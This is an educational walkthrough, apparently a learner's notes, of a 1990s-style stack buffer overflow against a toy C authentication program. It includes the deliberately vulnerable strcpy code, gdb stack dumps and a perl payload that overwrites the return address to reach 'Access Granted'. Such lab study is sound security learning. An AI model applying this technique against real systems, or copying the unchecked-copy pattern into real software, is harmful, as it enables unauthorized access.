0x300 Exploitation

Lots of exploits have to do with memory corruption (buffer overflows and whatnot). Other common errors that may allow for exploitation is thing like off by one errors.

The goal of memory corruption is to force the program to execute foreign code smuggled into memory (Arbitrary Code Execution).

char arr1[4], arr2[4]; //these two arrays are adjacent in memory
arr1[4]="1"; //would set the char "1" into arr2 and would not cause a crash
strcpy(arr1,"123456"); //arr2 now holds "56"

We’re going to walkthrough a overflow of the following simple C program. You should load the program into gdb if you want to follow along. Use gdb ./auth_overflow.

int check_authentication(char *password){
  int auth_flag = 0;

  char password_buffer[16];

  strcpy(password_buffer, password);

  printf("auth_flag location:       %p contents: %d\n", &auth_flag, auth_flag);
  printf("password_buffer location: %p contents: %s\n", password_buffer, password_buffer);

  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]){
  
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }

  if(check_authentication(argv[1])){
    printf("\n------------------------------\n");
    printf("          Access Granted!        ");
    printf("\n------------------------------\n");
  } else {
    printf("\n------------------------------\n");
    printf("          Access Denied -_-       ");
    printf("\n------------------------------\n");
  }
}

The idea is that the input to the program is not length checked and it is eventually written to

 char password_buffer[16];

We can use this fact to overwrite the return address for the check_authentication() function and cause control to skip to the access granted portion of the code.

Remember this is an exploit from the 90’s and these days there is a thing called a canary, that is a set value that sits between stack frames, that prevents obvious abuses like this. If you want to try the exploit in gdb you must compile with -fno-stack-protector.

You also have to keep in mind that ASLR is a thing so this would be harder to do outside of gdb https://en.wikipedia.org/wiki/Address_space_layout_randomization.

Overwriting mains stack frame

When a function is called the current context or “frame” of that function is pushed to the stack. The stack frame contains the local variables of the function, the return address (where execution moves to after a control is returned from a called function) and the functions arguments.

compile and load the program into gdb to get started

gcc auth_overflow.c -o auth_overflow  -Wall -Wextra -pedantic -std=c17 -g -fno-stack-protector
gdb ./auth_overflow

If you disassemble main you can see the relevant instructions, and their locations in memory.

0x0000000000001402 <+79>:	call   0x1209 <check_authentication>     // this is the call to the check_authentication function
0x0000000000001407 <+84>:	test   eax,eax                           // control would normally return to the instruction right
0x0000000000001409 <+86>:	je     0x143f <main+140>                 // after the function call
0x000000000000140b <+88>:	lea    rax,[rip+0xc7e]        # 0x2090
0x0000000000001412 <+95>:	mov    rdi,rax
0x0000000000001415 <+98>:	call   0x10c0 <puts@plt>
0x000000000000141a <+103>:	lea    rax,[rip+0xc8f]        # 0x20b0
0x0000000000001421 <+110>:	mov    rdi,rax
0x0000000000001424 <+113>:	mov    eax,0x0
0x0000000000001429 <+118>:	call   0x10e0 <printf@plt>
0x000000000000142e <+123>:	lea    rax,[rip+0xc5b]        # 0x2090

This is the instruction we want to move execution to.

0x000000000000140b <+88>:	lea    rax,[rip+0xc7e]        # 0x2090

You should set breakpoints at strcpy(password_buffer, password); and return *auth_flag;

Once the program is loaded into the memory the actual instruction address is

0x555555555407 <main+84>:	test   eax,eax

If we step forward to our first breakpoint we can see the contents of the stack.

rsp in check_authentication = 0x7fffffffde10

We can also see where our buffer starts in memory

(gdb) x/x password_buffer
0x7fffffffde30:	0x0000000000000000

using x/30xg $rsp we can see the contents of the stack

0x7fffffffde10:	0x0000000800000001	0x00007fffffffe2e0
0x7fffffffde20:	0x0000000000000000	0x0000000000000000
0x7fffffffde30:	0x0000000000000000	0x0000000000000000 //buffer starts here
0x7fffffffde40:	0x0000000000000000	0x0000000000000000
0x7fffffffde50:	0x00007fffffffde70	0x0000555555555407 //expected return address is here
0x7fffffffde60:	0x00007fffffffdf98	0x0000000200000001
0x7fffffffde70:	0x0000000000000002	0x00007ffff7daffd0
0x7fffffffde80:	0x0000555555554040	0x00005555555553b3
0x7fffffffde90:	0x0000000200000000	0x00007fffffffdf98
0x7fffffffdea0:	0x0000000000000000	0xf0e0fbc6da39aa0c
0x7fffffffdeb0:	0x00007fffffffdf98	0x00005555555553b3
0x7fffffffdec0:	0x0000000000000000	0x00007ffff7ffbc40
0x7fffffffded0:	0x0f1f0439673daa0c	0x0f1f14732535aa0c
0x7fffffffdee0:	0x00007fff00000000	0x0000000000000000
0x7fffffffdef0:	0x0000000000000000	0x0000000000000000
0x7fffffffdf00:	0x0000000000000000	0xdcfac294e9f8b000

So we need 8*6=48bytes total so 40bytes then the address of the target instruction

0x0000555555555402 <+79>:	call   0x555555555209 <check_authentication>
0x0000555555555407 <+84>:	test   eax,eax
0x0000555555555409 <+86>:	je     0x55555555543f <main+140>
0x000055555555540b <+88>:	lea    rax,[rip+0xc7e]        # 0x555555556090 //target address is this instruction

We can use perl to generate a payload to give as input to the program. Remember we need 40 bytes of padding then the 8 byte address.

$(perl -e 'print "a"x40 . "\x0b\x54\x55\x55\x55\x55\x00\x00"')

Unfortunately at this point I had to reload the program so thanks to ASLR the addresses of things in memory are slightly different, however same basic process applies, and the distance of things in memory doesn’t change.

Exploitation

Disassembly of main

0x00005555555553bf <+79>:	call   0x5555555551e9 <check_authentication>
0x00005555555553c4 <+84>:	test   eax,eax
0x00005555555553c6 <+86>:	je     0x5555555553fc <main+140>
0x00005555555553c8 <+88>:	lea    rax,[rip+0xcc1]        # 0x555555556090 //this is our target
0x00005555555553cf <+95>:	mov    rdi,rax

Again set breakpoints at strcpy(password_buffer, password); and return *auth_flag;

With the program loaded in gdb we can use run $(perl -e 'print "a"x40 . "\xc8\x53\x55\x55\x55\x55\x00\x00"') to attempt the exploit.

Step to first break point and observe contents of stack within check auth function.

(gdb) x/16xg $rsp
0x7fffffffde20:	0x0000000000000000	0x00007fffffffe2dd
0x7fffffffde30:	0x0000000000000000	0x0000000000000000 //password_buffer starts here
0x7fffffffde40:	0x0000000000000000	0x0000000000000000
0x7fffffffde50:	0x00007fffffffde70	0x00005555555553c4 //need to overwrite this
0x7fffffffde60:	0x00007fffffffdf98	0x0000000200000001
0x7fffffffde70:	0x0000000000000002	0x00007ffff7daffd0
0x7fffffffde80:	0x0000555555554040	0x0000555555555370
0x7fffffffde90:	0x0000000200000000	0x00007fffffffdf98

Stepping to our second breakpoint we can see the overwrite.

(gdb) x/50xg $rsp
0x7fffffffddf0:	0x0000000000000000	0x00007fffffffe2bd
0x7fffffffde00:	0x6161616161616161	0x6161616161616161 //loaded with 'a'
0x7fffffffde10:	0x6161616161616161	0x6161616161616161
0x7fffffffde20:	0x6161616161616161	0x00005555555553c8 //used to end in c4

And we can see execution moves to the desired location and access granted is printed to the screen

//we hit the breakpoint on the sucessful branch
78	    printf("\n------------------------------\n");
(gdb) n
------------------------------
79	    printf("          Access Granted!        ");
(gdb) n
80	    printf("\n------------------------------\n");
(gdb) n
          Access Granted!        
------------------------------

And thats the exploit! Very old, very beginner level. I feel like modern security makes this almost impossible, but I’m sure people could find ways around ASLR to still comprimise the program if the vulnerability exists.